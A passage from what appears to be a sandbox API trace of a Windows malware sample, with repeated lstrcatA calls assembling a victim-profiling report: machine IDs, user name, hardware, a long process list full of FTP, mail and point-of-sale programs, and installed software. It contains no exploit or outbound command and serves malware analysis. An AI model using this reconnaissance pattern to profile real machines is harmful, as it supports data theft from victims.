scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508"
[0054.949] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]"
[0054.949] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional 